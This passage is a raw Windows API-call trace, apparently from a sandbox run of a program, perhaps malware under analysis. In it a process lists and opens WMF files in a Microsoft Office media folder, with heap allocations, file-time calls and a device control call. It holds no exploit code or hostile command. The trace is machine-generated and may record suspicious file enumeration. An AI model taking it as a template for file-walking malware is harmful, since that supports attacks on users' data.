ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1 [0073.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0073.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0073.562] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0073.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa88478 [0073.563] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa88478, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa88478, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0073.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.563] NtClose (Handle=0x164) returned 0x0 [0073.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa75238) returned 1 [0073.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa75238 [0073.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0073.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0073.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.652] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0073.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.653] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63d70 [0073.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82278 [0073.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63d90 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82380 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63db0 [0073.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82488 [0073.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63dd0 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82590 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63df0 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82698 [0073.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63e10 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa827a0 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63e30 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa828a8 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63e50 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa829b0 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2f80) returned 0xa88478 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63e70 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82ab8 [0073.657] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63e90 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82bc0 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63eb0 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82cc8 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.658] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63ed0 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82dd0 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63ef0 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82ed8 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.659] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.659] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63f10 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa82fe0 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18198_.WMF", cAlternateFileName="")) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63f30 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa830e8 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fdb1800, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcbb3900, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fdb1800, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0xc3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18199_.WMF", cAlternateFileName="")) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a08 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa63f50 [0073.660] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa831f0 [0073.661] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a08) returned 1 [0073.661] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd302000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbb3900, 